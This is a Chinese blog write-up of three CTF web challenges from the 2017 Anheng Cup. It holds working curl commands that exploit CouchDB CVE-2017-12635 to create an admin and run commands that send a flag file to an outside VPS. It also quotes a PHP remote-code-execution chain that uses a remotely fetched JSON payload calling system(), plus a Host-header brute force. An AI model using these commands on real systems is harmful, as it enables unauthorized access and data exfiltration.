Sky's blog

安恒杯-12月月赛

Word count: 877 / Reading time: 4 min
2017/12/17 Share

与时俱进

拿到题目后发现80端口无法访问,于是扫了一波端口
发现5984开放
搜了一下,发现是CouchDB漏洞
然后发现2017的CVE:CVE-2017-12635
可以创建一个管理员用户

1
curl -X PUT 'http://192.168.5.39:5984/_users/org.couchdb.user:sky' --data-binary '{"type": "user","name": "sky","roles": ["_admin"],"roles": [],"password": "sky"}'

然后我们就可以用管理员用户登录了,后面就是未授权漏洞的打法了:

1
2
3
4
curl -X PUT 'http://sky:sky@192.168.5.39:5984/_config/query_servers/cmd' -d '"/usr/bin/curl http://你的vps/`cat /home/flag.txt`"'
curl -X PUT 'http://sky:sky@192.168.5.39:5984/skytest
curl -X PUT 'http://sky:sky@192.168.5.39:5984/skytest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}
curl -X POST 'http://sky:sky@192.168.5.39:5984/skytest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

做的时候并不知道什么鬼……还时不时会显示别人的payload……反正是拿payload一顿输,过了一会儿,flag就打到了vps上

爱窒息、痛

拿到题目后分析了一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
$a = isset($_POST['pass']) ? trim($_POST['pass']) : '';
if ($a == '') {
echologin();
} else {
chkpass($a);
helloowner($a);
}
function chkpass($a) {
if (stripos($_SERVER['HTTP_USER_AGENT'], md5($a)) === false) {
echofail(1);
}
return true;
}
function helloowner($a) {
$b = gencodeurl($a);
$c = file_get_contents($b);
if ($c == false) {
echofail(2);
}
$d = @json_decode($c, 1);
if (!isset($d['f'])) {
echofail(3);
}
$d['f']($d['d']);
}
function gencodeurl($a) {
$e = md5(date("Y-m-d"));
if (strlen($a) > 40) {
$f = substr($a, 30, 5);
$g = substr($a, 10, 10);
} else {
$f = 'good';
$g = 'web.com';
}
$b = 'http://' . $f . $g;
return $b;
}
function echofail($h) {
$i = 'PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0idXRmLTgiLz48dGl0bGU+54ix44GE56qS5oGv44CB55ebPC90aXRsZT48L2hlYWQ+PGJvZHkgc3R5bGU9IndpZHRoOiAzMGVtO21hcmdpbjogMWVtIGF1dG87dGV4dC1hbGlnbjogY2VudGVyOyI+PHAgZXJyaWQ9IiVpZCUiPuKFoS3jgIDjgIDilbAg5b+r55yL44CB5pyJ54Gw5py644CB5Zyo5rK15aS05LiK54Gw5p2l54Gw5Y6755qE44CCPC9wPjxwIHN0eWxlPSJmb250LXNpemU6IDUwJTsiPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmxvdmVzdG9wcGFpbi50a0BibG9nLnZ1bHNweS5jb20vIj7niLHjgYTnqpLmga/jgIHnl5s8L2E+IOS4k+eUqOWQjumXqDwvcD48L2JvZHk+PC9odG1sPg==';
echo str_replace('%id%', $h, base64_decode($i));
exit;
}
function echologin() {
$j = 'PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0idXRmLTgiLz48dGl0bGU+54ix44GE56qS5oGv44CB55ebPC90aXRsZT48L2hlYWQ+PGJvZHkgc3R5bGU9IndpZHRoOiAyMGVtO21hcmdpbjogMWVtIGF1dG87dGV4dC1hbGlnbjogY2VudGVyOyI+PGZvcm0gYWNpdG9uPSIiIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiBwbGFjZWhvbGRlcj0icGFzcyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PHAgc3R5bGU9ImZvbnQtc2l6ZTogNTAlOyI+PGEgaHJlZj0iaHR0cHM6Ly93d3cubG92ZXN0b3BwYWluLnRrQGJsb2cudnVsc3B5LmNvbS8iPueIseOBhOeqkuaBr+OAgeeXmzwvYT4g5LiT55So5ZCO6ZeoPC9wPjwvYm9keT48L2h0bWw+';
echo base64_decode($j);
exit;
} ?>
}

主流程在于:

1
2
3
4
5
6
7
8
9
10
11
12
function gencodeurl($a) {
$e = md5(date("Y-m-d"));
if (strlen($a) > 40) {
$f = substr($a, 30, 5);
$g = substr($a, 10, 10);
} else {
$f = 'good';
$g = 'web.com';
}
$b = 'http://' . $f . $g;
return $b;
}

流程如下:
1.首先会chkpass()一下HTTP_USER_AGENT有没有变量a的md5值
2.然后将变量a中的substr($a, 30, 5)给变量f,substr($a, 10, 10)给变量g
3.然后将其进行拼接:'http://' . $f . $g
4.再返回给变量b
5.然后file_get_contents($b)读取b的文件,赋给变量c
6.然后将变量c进行json_decode
7.最后有一个利用$d['f']($d['d'])

所以我们的攻击点就很清楚了,首先在我们的vps上放一个文件,里面精心构造好一个json_encode
这里我们选择system('cat ../flag.php')
可以构造:

1
2
3
4
5
<?php 
$d['f'] = 'system';
$d['g'] = 'cat ../flag.php';
echo json_encode($d);
?>

值为:

1
{"f":"system","g":"cat ..\/flag.php"}

然后这里传入的变量b只有15个字符可控,然后我计算了一下:

1
skysec.top/11.c

刚刚好15个字符
于是将我们之前构造的文件命名为11.c放在域名为skysec.top的vps上
然后构造

1
$a = "asdfghjklzc.top/11.ctyuioqwertskysecwertyuioqwertyuiop"

和它的md5

1
66cb1c378941c2cc0f1d7979ca595461

然后即可执行命令~

Proxy Error

不知道这个题出的意义何在……
我们访问页面得到信息:

1
Proxy Error:192.168.5.46

一开始没有思路,后来抓包修改HOST

1
2
3
Proxy Error:192.168.5.1
Proxy Error:192.168.5.2
……

发现回显都是相同的

1
2
Proxy Error:192.168.5.1
Proxy Error:192.168.5.2

然后随便蛇皮爆破了一下:

1
Host : 192.168.5.132

可以发现flag……

后记

还是太菜了,6个web只做了3个,后面慢慢研究吧~

CATALOG
  1. 1. 与时俱进
  2. 2. 爱窒息、痛
  3. 3. Proxy Error
  4. 4. 后记